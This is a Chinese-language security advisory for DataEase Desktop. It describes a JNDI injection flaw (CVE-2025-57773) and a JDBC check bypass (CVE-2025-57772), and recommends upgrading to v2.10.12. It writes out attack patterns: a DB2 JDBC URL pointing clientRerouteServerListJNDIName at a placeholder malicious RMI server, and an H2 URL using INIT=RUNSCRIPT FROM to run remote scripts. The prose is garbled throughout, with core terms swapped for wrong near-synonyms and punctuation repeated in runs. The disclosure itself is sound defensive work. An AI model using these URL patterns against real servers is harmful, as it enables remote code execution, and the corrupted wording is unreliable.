【误差通告】Dataease JNDI注入误差(CVE-2025-57773)

宣布时间 2025-08-26

一、误差概述


误差名称

DataEase JNDI注入误差

CVE   ID

CVE-2025-57773

误差类型

RCE

发明时间

2025-08-26

误差评分

8.2

误差品级

高危

攻击向量

网络

所需权限

无

使用难度

低

用户交互

不需要

PoC/EXP

已果真

在野使用

未发明


DataEase是一款开源的数据可视化与剖析平台，，，，，支持多种数据源接入，，，，，提供报表、看板、可视化大屏等功效，，，，，资助用户实现数据盘问、剖析与展示。。。它支持JDBC、API等多种数据毗连方法，，，，，适用于BI报表、数据剖析及可视化场景。。。


2025年8月26日，，，，，鉴黑担保网集团VSRC监测到DataEase Desktop保存DataEase JNDI注入误差(CVE-2025-57773)。。。由于DB2数据源参数缺乏有用校验，，，，，攻击者可通过结构恶意JDBC URL（如jdbc:db2://…;clientRerouteServerListJNDIName=rmi://<恶意效劳器>），，，，，触发JNDI远程加载，，，，，并连系commons-collections 4.x与aspectjweaver(<1.9.4)的Gadget链实现反序列化攻击，，，，，从而抵达恣意文件写入或远程代码执行的目的，，，，，最终可能完全控制效劳器，，，，，同时Dataease Desktop还保存Dataease JDBC逻辑绕过误差(CVE-2025-57772)，，，，，由于CalciteProvider#getConnection要领中保存JDBC类型校验缺陷，，，，，攻击者可通过伪造数据库类型为oracle，，，，，绕过H2驱动相关过滤逻辑，，，，，强制程序加载恶意结构的H2 JDBC URL。。。该URL可直接包括危险参数（如INIT=RUNSCRIPT FROM），，，，，实现远程加载并执行恶意SQL剧本，，，，，导致敏感数据泄露、系统被控制及进一步横向渗透。。。


二、影响规模


DataEase Desktop ≤ v2.10.11。。。


三、清静步伐


3.1 升级版本


官方已宣布清静补丁，，，，，升级至如下版本。。。

DataEase Desktop ≥v2.10.12。。。


3.2 暂时步伐


若是暂时无法升级主程序，，，，，可通过将AspectJWeaver升级至≥1.9.4来降低CVE-2025-57773的可使用性，，，，，同时建议将commons-collections升级至≥4.4以镌汰潜在危害。。。


3.3 通用建议


? 按期更新系统补丁，，，，，镌汰系统误差，，，，，提升效劳器的清静性。。。

? 增强系统和网络的会见控制，，，，，修改防火墙战略，，，，，关闭非须要的应用端口或效劳，，，，，镌汰将危险效劳（如SSH、RDP等）袒露到公网，，，，，镌汰攻击面。。。

? 使用企业级清静产品，，，，，提升企业的网络清静性能。。。

? 增强系统用户和权限治理，，，，，启用多因素认证机制和最小权限原则，，，，，用户和软件权限应坚持在最低限度。。。

? 启用强密码战略并设置为按期修改。。。


3.4 参考链接


https://nvd.nist.gov/vuln/detail/CVE-2025-57773/

https://github.com/dataease/dataease/security/advisories/GHSA-v37q-vh67-9rqv

https://github.com/dataease/dataease/security/advisories/GHSA-7r8j-6whv-4j5p/